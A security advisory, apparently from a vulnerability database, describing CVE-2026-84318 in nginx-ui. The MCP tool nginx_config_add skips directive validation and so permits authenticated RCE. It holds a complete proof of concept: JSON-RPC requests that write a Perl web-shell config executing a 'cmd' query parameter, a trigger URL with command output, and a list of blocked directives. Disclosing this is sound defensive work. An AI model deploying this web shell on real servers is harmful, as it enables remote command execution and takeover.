GHSA-9JWW-CXG5-RJ9M
Vulnerability from github – Published: 2026-10-15 20:11 – Updated: 2026-10-15 20:11Summary
The MCP tool nginx_config_add writes nginx configuration files to disk and triggers an nginx reload without calling config.ValidateConfigFile. The identical flow in the REST API (POST /api/configs) does call that function and correctly rejects dangerous directives. An authenticated attacker can exploit this gap to write config files containing any blocked directive (perl, js_import, load_module, user root, etc.), bypassing nginx-ui's entire security layer. On a server with the nginx Perl, njs, or Lua module loaded, this is post-authentication Remote Code Execution.
Details
api/config/add.go (line 46) calls config.ValidateConfigFile before writing:
err = config.ValidateConfigFile(path, content) // validates directives, checks blocklist
if err != nil {
cosy.ErrHandler(c, err)
return
}
mcp/config/config_add.go (line 79) omits that call entirely and writes directly:
err = os.WriteFile(path, []byte(content), 0644) // no ValidateConfigFile, no blocklist check
...
res := nginx.Control(nginx.Reload) // reload triggered immediately
config.ValidateConfigFile runs two checks:
- ValidateConfigContent — rejects control characters, enforces encoding.
- ValidateConfigDirectives — rejects a blocklist of dangerous directives: perl, perl_modules, perl_require, perl_set, js_import, js_set, js_content, load_module (restricted modules), user root, and others.
Neither check runs on the MCP path. Note that mcp/config/config_modify.go does call ValidateConfigFile correctly — only config_add.go is affected.
The MCP endpoint (GET /mcp SSE + POST /mcp_message JSON-RPC) accepts the same JWT and node-secret tokens as the REST API, so the attack surface is any authenticated session.
PoC
1 — Control: confirm REST API blocks the payload
POST /api/configs
Authorization: <token>
{ "name": "rce.conf", "base_dir": "conf.d", "content": "<perl config below>", "overwrite": true }
Response:
HTTP 500 scope=config code=40017
message: file content contains restricted nginx directive: {0}
ValidateConfigDirectives rejects perl — the REST API is working as intended.
2 — Open MCP SSE session
GET /mcp
Authorization: <token>
Accept: text/event-stream
Extract sessionId from the endpoint event.
3 — MCP initialize handshake
POST /mcp_message?sessionId=<id>
{ "jsonrpc": "2.0", "id": 1, "method": "initialize",
"params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": { "name": "poc", "version": "1.0" } } }
4 — Call nginx_config_add with the identical blocked payload
POST /mcp_message?sessionId=<id>
{
"jsonrpc": "2.0", "id": 2, "method": "tools/call",
"params": {
"name": "nginx_config_add",
"arguments": {
"name": "rce_backdoor.conf",
"base_dir": "conf.d",
"overwrite": true,
"content": "server {\n listen 8888;\n\n location /rce {\n perl 'sub {\n my $r = shift;\n my ($cmd) = ($r->args =~ /(?:^|&)cmd=([^&]*)/);\n $cmd ||= \"id\";\n $r->send_http_header(\"text/plain\");\n $r->print(qx($cmd 2>&1));\n return OK;\n }';\n }\n}\n"
}
}
}
Response (HTTP 200 OK) — file written to /etc/nginx/conf.d/rce_backdoor.conf, nginx reloaded automatically:
{
"jsonrpc": "2.0",
"id": 2,
"result": {
"content": [
{
"type": "text",
"text": "{\"content\":\"...\",\"file_path\":\"/etc/managed-nginx/conf.d/rce_backdoor.conf\",\"name\":\"rce_backdoor.conf\"}"
}
]
}
}
The perl directive — explicitly listed in blockedConfigDirectives and rejected by the REST API — passes through without any check.
5 — Trigger RCE
GET http://<target>:8888/rce?cmd=id
uid=101(nginx) gid=101(nginx) groups=101(nginx)
Impact
Any authenticated user (valid JWT or node-secret) can write an nginx configuration file containing any directive from the security blocklist. nginx-ui reloads nginx automatically after the write, activating the malicious config immediately. No further interaction is required.
On servers running nginx with the Perl module (nginx:mainline-perl) or nginx+njs, this results in arbitrary OS command execution running as the nginx worker user. Combined with a user root; directive (also unblocked via this path), the worker process can be escalated to root before the RCE handler fires.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/0xJacky/Nginx-UI"
},
"ranges": [
{
"events": [
{
"introduced": "1.9.10-0.20250506154222-1330888280a2"
},
{
"fixed": "1.9.10-0.20260703131214-23d1934099b0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-84318"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-15T20:11:18Z",
"nvd_published_at": "2026-10-12T21:17:22Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe MCP tool `nginx_config_add` writes nginx configuration files to disk and triggers an nginx reload without calling `config.ValidateConfigFile`. The identical flow in the REST API (`POST /api/configs`) does call that function and correctly rejects dangerous directives. An authenticated attacker can exploit this gap to write config files containing any blocked directive (`perl`, `js_import`, `load_module`, `user root`, etc.), bypassing nginx-ui\u0027s entire security layer. On a server with the nginx Perl, njs, or Lua module loaded, this is post-authentication Remote Code Execution.\n\n### Details\n\n`api/config/add.go` (line 46) calls `config.ValidateConfigFile` before writing:\n\n```go\nerr = config.ValidateConfigFile(path, content) // validates directives, checks blocklist\nif err != nil {\n cosy.ErrHandler(c, err)\n return\n}\n```\n\n`mcp/config/config_add.go` (line 79) omits that call entirely and writes directly:\n\n```go\nerr = os.WriteFile(path, []byte(content), 0644) // no ValidateConfigFile, no blocklist check\n...\nres := nginx.Control(nginx.Reload) // reload triggered immediately\n```\n\n`config.ValidateConfigFile` runs two checks:\n- **`ValidateConfigContent`** \u2014 rejects control characters, enforces encoding.\n- **`ValidateConfigDirectives`** \u2014 rejects a blocklist of dangerous directives: `perl`, `perl_modules`, `perl_require`, `perl_set`, `js_import`, `js_set`, `js_content`, `load_module` (restricted modules), `user root`, and others.\n\nNeither check runs on the MCP path. Note that `mcp/config/config_modify.go` does call `ValidateConfigFile` correctly \u2014 only `config_add.go` is affected.\n\nThe MCP endpoint (`GET /mcp` SSE + `POST /mcp_message` JSON-RPC) accepts the same JWT and node-secret tokens as the REST API, so the attack surface is any authenticated session.\n\n### PoC\n\n**1 \u2014 Control: confirm REST API blocks the payload**\n\n```\nPOST /api/configs\nAuthorization: \u003ctoken\u003e\n\n{ \"name\": \"rce.conf\", \"base_dir\": \"conf.d\", \"content\": \"\u003cperl config below\u003e\", \"overwrite\": true }\n```\n\nResponse:\n```\nHTTP 500 scope=config code=40017\nmessage: file content contains restricted nginx directive: {0}\n```\n\n`ValidateConfigDirectives` rejects `perl` \u2014 the REST API is working as intended.\n\n**2 \u2014 Open MCP SSE session**\n\n```\nGET /mcp\nAuthorization: \u003ctoken\u003e\nAccept: text/event-stream\n```\n\nExtract `sessionId` from the `endpoint` event.\n\n**3 \u2014 MCP initialize handshake**\n\n```\nPOST /mcp_message?sessionId=\u003cid\u003e\n\n{ \"jsonrpc\": \"2.0\", \"id\": 1, \"method\": \"initialize\",\n \"params\": { \"protocolVersion\": \"2024-11-05\", \"capabilities\": {}, \"clientInfo\": { \"name\": \"poc\", \"version\": \"1.0\" } } }\n```\n\n**4 \u2014 Call `nginx_config_add` with the identical blocked payload**\n\n```\nPOST /mcp_message?sessionId=\u003cid\u003e\n\n{\n \"jsonrpc\": \"2.0\", \"id\": 2, \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"nginx_config_add\",\n \"arguments\": {\n \"name\": \"rce_backdoor.conf\",\n \"base_dir\": \"conf.d\",\n \"overwrite\": true,\n \"content\": \"server {\\n listen 8888;\\n\\n location /rce {\\n perl \u0027sub {\\n my $r = shift;\\n my ($cmd) = ($r-\u003eargs =~ /(?:^|\u0026)cmd=([^\u0026]*)/);\\n $cmd ||= \\\"id\\\";\\n $r-\u003esend_http_header(\\\"text/plain\\\");\\n $r-\u003eprint(qx($cmd 2\u003e\u00261));\\n return OK;\\n }\u0027;\\n }\\n}\\n\"\n }\n }\n}\n```\n\nResponse (`HTTP 200 OK`) \u2014 file written to `/etc/nginx/conf.d/rce_backdoor.conf`, nginx reloaded automatically:\n\n```json\n{\n \"jsonrpc\": \"2.0\",\n \"id\": 2,\n \"result\": {\n \"content\": [\n {\n \"type\": \"text\",\n \"text\": \"{\\\"content\\\":\\\"...\\\",\\\"file_path\\\":\\\"/etc/managed-nginx/conf.d/rce_backdoor.conf\\\",\\\"name\\\":\\\"rce_backdoor.conf\\\"}\"\n }\n ]\n }\n}\n```\n\nThe `perl` directive \u2014 explicitly listed in `blockedConfigDirectives` and rejected by the REST API \u2014 passes through without any check.\n\n**5 \u2014 Trigger RCE**\n\n```\nGET http://\u003ctarget\u003e:8888/rce?cmd=id\n```\n\n```\nuid=101(nginx) gid=101(nginx) groups=101(nginx)\n```\n\n### Impact\n\nAny authenticated user (valid JWT or node-secret) can write an nginx configuration file containing any directive from the security blocklist. nginx-ui reloads nginx automatically after the write, activating the malicious config immediately. No further interaction is required.\n\nOn servers running nginx with the Perl module (`nginx:mainline-perl`) or nginx+njs, this results in arbitrary OS command execution running as the nginx worker user. Combined with a `user root;` directive (also unblocked via this path), the worker process can be escalated to root before the RCE handler fires.",
"id": "GHSA-9jww-cxg5-rj9m",
"modified": "2026-10-15T20:11:18Z",
"published": "2026-10-15T20:11:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-9jww-cxg5-rj9m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84318"
},
{
"type": "WEB",
"url": "https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2"
},
{
"type": "PACKAGE",
"url": "https://github.com/0xJacky/nginx-ui"
},
{
"type": "WEB",
"url": "https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Nginx UI: MCP `nginx_config_add` Bypasses Directive Validation \u2014 Authenticated RCE"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.